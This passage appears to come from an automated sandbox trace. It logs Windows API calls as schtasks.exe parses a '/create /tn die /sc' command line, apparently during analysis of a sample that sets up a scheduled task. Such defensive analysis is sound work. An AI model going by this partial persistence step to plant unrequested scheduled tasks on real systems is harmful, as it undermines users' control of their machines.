dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c610) returned 1 [0077.266] SetLastError (dwErrCode=0x0) [0077.266] lstrlenW (lpString="create") returned 6 [0077.266] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0077.266] SetLastError (dwErrCode=0x490) [0077.266] SetLastError (dwErrCode=0x0) [0077.266] lstrlenW (lpString="create") returned 6 [0077.266] GetProcessHeap () returned 0x3a0000 [0077.266] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bced0 [0077.266] GetProcessHeap () returned 0x3a0000 [0077.266] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bd640 [0077.266] _memicmp (_Buf1=0x3bd640, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.266] GetProcessHeap () returned 0x3a0000 [0077.266] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x16) returned 0x3bd660 [0077.266] SetLastError (dwErrCode=0x0) [0077.266] _memicmp (_Buf1=0x3bbbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.266] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3bbd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0077.266] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0077.267] GetProcessHeap () returned 0x3a0000 [0077.267] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x74e) returned 0x3bde10 [0077.267] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3bde10 | out: lpData=0x3bde10) returned 1 [0077.267] VerQueryValueW (in: pBlock=0x3bde10, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c6f8, puLen=0x27c760 | out: lplpBuffer=0x27c6f8*=0x3be1ac, puLen=0x27c760) returned 1 [0077.267] _memicmp (_Buf1=0x3bbbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.267] _vsnwprintf (in: _Buffer=0x3bbd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c6d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0077.267] VerQueryValueW (in: pBlock=0x3bde10, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c768, puLen=0x27c758 | out: lplpBuffer=0x27c768*=0x3bdfd8, puLen=0x27c758) returned 1 [0077.267] lstrlenW (lpString="schtasks.exe") returned 12 [0077.267] lstrlenW (lpString="schtasks.exe") returned 12 [0077.267] lstrlenW (lpString=".EXE") returned 4 [0077.268] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0077.268] lstrlenW (lpString="schtasks.exe") returned 12 [0077.268] lstrlenW (lpString=".EXE") returned 4 [0077.268] lstrlenW (lpString="schtasks") returned 8 [0077.268] lstrlenW (lpString="/create") returned 7 [0077.268] _memicmp (_Buf1=0x3bbbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.268] _vsnwprintf (in: _Buffer=0x3bbd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c6d8 | out: _Buffer="schtasks /create") returned 16 [0077.268] _memicmp (_Buf1=0x3bbbd0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.268] GetProcessHeap () returned 0x3a0000 [0077.268] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcea0 [0077.268] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.268] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0077.268] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0077.268] GetProcessHeap () returned 0x3a0000 [0077.268] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x30) returned 0x3b7c10 [0077.268] _vsnwprintf (in: _Buffer=0x3bc150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c6d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0077.268] GetProcessHeap () returned 0x3a0000 [0077.268] GetProcessHeap () returned 0x3a0000 [0077.268] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bde10) returned 1 [0077.268] GetProcessHeap () returned 0x3a0000 [0077.268] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bde10) returned 0x74e [0077.269] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bde10 | out: hHeap=0x3a0000) returned 1 [0077.269] SetLastError (dwErrCode=0x0) [0077.269] GetThreadLocale () returned 0x409 [0077.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.269] lstrlenW (lpString="create") returned 6 [0077.269] GetThreadLocale () returned 0x409 [0077.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.269] lstrlenW (lpString="?") returned 1 [0077.269] GetThreadLocale () returned 0x409 [0077.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.269] lstrlenW (lpString="s") returned 1 [0077.269] GetThreadLocale () returned 0x409 [0077.269] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="u") returned 1 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="p") returned 1 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="ru") returned 2 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="rp") returned 2 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="sc") returned 2 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="mo") returned 2 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="d") returned 1 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="m") returned 1 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.270] lstrlenW (lpString="i") returned 1 [0077.270] GetThreadLocale () returned 0x409 [0077.270] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="tn") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="tr") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="st") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="sd") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="ed") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="it") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="et") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="k") returned 1 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="du") returned 2 [0077.271] GetThreadLocale () returned 0x409 [0077.271] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.271] lstrlenW (lpString="ri") returned 2 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="z") returned 1 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="f") returned 1 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="v1") returned 2 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="xml") returned 3 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="ec") returned 2 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="rl") returned 2 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="delay") returned 5 [0077.272] GetThreadLocale () returned 0x409 [0077.272] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.272] lstrlenW (lpString="np") returned 2 [0077.272] SetLastError (dwErrCode=0x0) [0077.272] SetLastError (dwErrCode=0x0) [0077.272] lstrlenW (lpString="/create") returned 7 [0077.272] lstrlenW (lpString="-/") returned 2 [0077.273] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.273] lstrlenW (lpString="create") returned 6 [0077.273] lstrlenW (lpString="create") returned 6 [0077.273] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.273] lstrlenW (lpString="create") returned 6 [0077.273] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.273] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.273] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.273] lstrlenW (lpString="|create|") returned 8 [0077.273] lstrlenW (lpString="|create|") returned 8 [0077.273] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0077.273] SetLastError (dwErrCode=0x0) [0077.273] SetLastError (dwErrCode=0x0) [0077.273] SetLastError (dwErrCode=0x0) [0077.273] lstrlenW (lpString="/tn") returned 3 [0077.273] lstrlenW (lpString="-/") returned 2 [0077.273] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.273] lstrlenW (lpString="create") returned 6 [0077.273] lstrlenW (lpString="create") returned 6 [0077.273] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.273] lstrlenW (lpString="tn") returned 2 [0077.273] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.273] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.273] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.274] lstrlenW (lpString="|create|") returned 8 [0077.274] lstrlenW (lpString="|tn|") returned 4 [0077.274] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0077.274] SetLastError (dwErrCode=0x490) [0077.274] lstrlenW (lpString="?") returned 1 [0077.274] lstrlenW (lpString="?") returned 1 [0077.274] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.274] lstrlenW (lpString="tn") returned 2 [0077.274] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.274] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|?|") returned 3 [0077.274] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.274] lstrlenW (lpString="|?|") returned 3 [0077.274] lstrlenW (lpString="|tn|") returned 4 [0077.274] SetLastError (dwErrCode=0x490) [0077.274] lstrlenW (lpString="s") returned 1 [0077.274] lstrlenW (lpString="s") returned 1 [0077.274] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.274] lstrlenW (lpString="tn") returned 2 [0077.274] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.274] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|s|") returned 3 [0077.274] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.274] lstrlenW (lpString="|s|") returned 3 [0077.274] lstrlenW (lpString="|tn|") returned 4 [0077.274] SetLastError (dwErrCode=0x490) [0077.274] lstrlenW (lpString="u") returned 1 [0077.275] lstrlenW (lpString="u") returned 1 [0077.275] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.275] lstrlenW (lpString="tn") returned 2 [0077.275] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.275] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|u|") returned 3 [0077.275] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.275] lstrlenW (lpString="|u|") returned 3 [0077.275] lstrlenW (lpString="|tn|") returned 4 [0077.275] SetLastError (dwErrCode=0x490) [0077.275] lstrlenW (lpString="p") returned 1 [0077.275] lstrlenW (lpString="p") returned 1 [0077.275] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.275] lstrlenW (lpString="tn") returned 2 [0077.275] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.275] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|p|") returned 3 [0077.275] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.275] lstrlenW (lpString="|p|") returned 3 [0077.275] lstrlenW (lpString="|tn|") returned 4 [0077.275] SetLastError (dwErrCode=0x490) [0077.275] lstrlenW (lpString="ru") returned 2 [0077.275] lstrlenW (lpString="ru") returned 2 [0077.275] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.275] lstrlenW (lpString="tn") returned 2 [0077.275] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.276] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ru|") returned 4 [0077.276] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.276] lstrlenW (lpString="|ru|") returned 4 [0077.276] lstrlenW (lpString="|tn|") returned 4 [0077.276] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0077.276] SetLastError (dwErrCode=0x490) [0077.276] lstrlenW (lpString="rp") returned 2 [0077.276] lstrlenW (lpString="rp") returned 2 [0077.276] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.276] lstrlenW (lpString="tn") returned 2 [0077.276] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.276] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rp|") returned 4 [0077.276] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.276] lstrlenW (lpString="|rp|") returned 4 [0077.276] lstrlenW (lpString="|tn|") returned 4 [0077.276] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0077.276] SetLastError (dwErrCode=0x490) [0077.276] lstrlenW (lpString="sc") returned 2 [0077.276] lstrlenW (lpString="sc") returned 2 [0077.276] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.276] lstrlenW (lpString="tn") returned 2 [0077.276] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.276] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.276] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.277] lstrlenW (lpString="|sc|") returned 4 [0077.277] lstrlenW (lpString="|tn|") returned 4 [0077.277] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0077.277] SetLastError (dwErrCode=0x490) [0077.277] lstrlenW (lpString="mo") returned 2 [0077.277] lstrlenW (lpString="mo") returned 2 [0077.277] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.277] lstrlenW (lpString="tn") returned 2 [0077.277] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.277] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|mo|") returned 4 [0077.277] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.277] lstrlenW (lpString="|mo|") returned 4 [0077.277] lstrlenW (lpString="|tn|") returned 4 [0077.277] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0077.277] SetLastError (dwErrCode=0x490) [0077.277] lstrlenW (lpString="d") returned 1 [0077.277] lstrlenW (lpString="d") returned 1 [0077.277] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.277] lstrlenW (lpString="tn") returned 2 [0077.277] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.277] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|d|") returned 3 [0077.277] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.277] lstrlenW (lpString="|d|") returned 3 [0077.277] lstrlenW (lpString="|tn|") returned 4 [0077.278] SetLastError (dwErrCode=0x490) [0077.278] lstrlenW (lpString="m") returned 1 [0077.278] lstrlenW (lpString="m") returned 1 [0077.278] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.278] lstrlenW (lpString="tn") returned 2 [0077.278] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.278] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|m|") returned 3 [0077.278] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.278] lstrlenW (lpString="|m|") returned 3 [0077.278] lstrlenW (lpString="|tn|") returned 4 [0077.278] SetLastError (dwErrCode=0x490) [0077.278] lstrlenW (lpString="i") returned 1 [0077.278] lstrlenW (lpString="i") returned 1 [0077.278] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.278] lstrlenW (lpString="tn") returned 2 [0077.278] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.278] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|i|") returned 3 [0077.278] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.278] lstrlenW (lpString="|i|") returned 3 [0077.278] lstrlenW (lpString="|tn|") returned 4 [0077.278] SetLastError (dwErrCode=0x490) [0077.278] lstrlenW (lpString="tn") returned 2 [0077.278] lstrlenW (lpString="tn") returned 2 [0077.279] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.279] lstrlenW (lpString="tn") returned 2 [0077.279] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.279] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.279] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.279] lstrlenW (lpString="|tn|") returned 4 [0077.279] lstrlenW (lpString="|tn|") returned 4 [0077.279] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0077.279] SetLastError (dwErrCode=0x0) [0077.279] SetLastError (dwErrCode=0x0) [0077.279] lstrlenW (lpString="die") returned 3 [0077.279] lstrlenW (lpString="-/") returned 2 [0077.279] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0077.279] SetLastError (dwErrCode=0x490) [0077.279] SetLastError (dwErrCode=0x490) [0077.279] SetLastError (dwErrCode=0x0) [0077.279] lstrlenW (lpString="die") returned 3 [0077.279] StrChrIW (lpStart="die", wMatch=0x3a) returned 0x0 [0077.279] SetLastError (dwErrCode=0x490) [0077.279] SetLastError (dwErrCode=0x0) [0077.279] lstrlenW (lpString="die") returned 3 [0077.279] SetLastError (dwErrCode=0x0) [0077.279] SetLastError (dwErrCode=0x0) [0077.279] lstrlenW (lpString="/sc") returned 3 [0077.279] lstrlenW (lpString="-/") returned 2 [0077.279] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.280] lstrlenW (lpString="create") returned 6 [0077.280] lstrlenW (lpString="create") returned 6 [0077.280] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.280] lstrlenW (lpString="sc") returned 2 [0077.280] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.280] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.280] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.280] lstrlenW (lpString="|create|") returned 8 [0077.280] lstrlenW (lpString="|sc|") returned 4 [0077.280] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0077.280] SetLastError (dwErrCode=0x490) [0077.280] lstrlenW (lpString="?") returned 1 [0077.280] lstrlenW (lpString="?") returned 1 [0077.280] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.280] lstrlenW (lpString="sc") returned 2 [0077.280] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.280] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|?|") returned 3 [0077.280] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.280] lstrlenW (lpString="|?|") returned 3 [0077.280] lstrlenW (lpString="|sc|") returned 4 [0077.280] SetLastError (dwErrCode=0x490) [0077.280] lstrlenW (lpString="s") returned 1 [0077.280] lstrlenW (lpString="s") returned 1 [0077.280] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.281] lstrlenW (lpString="sc") returned 2 [0077.281] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.281] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|s|") returned 3 [0077.281] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.281] lstrlenW (lpString="|s|") returned 3 [0077.281] lstrlenW (lpString="|sc|") returned 4 [0077.281] SetLastError (dwErrCode=0x490) [0077.281] lstrlenW (lpString="u") returned 1 [0077.281] lstrlenW (lpString="u") returned 1 [0077.281] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.281] lstrlenW (lpString="sc") returned 2 [0077.281] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.281] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|u|") returned 3 [0077.281] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.281] lstrlenW (lpString="|u|") returned 3 [0077.281] lstrlenW (lpString="|sc|") returned 4 [0077.281] SetLastError (dwErrCode=0x490) [0077.281] lstrlenW (lpString="p") returned 1 [0077.281] lstrlenW (lpString="p") returned 1 [0077.281] _memicmp (_Buf1=0x3bc200, 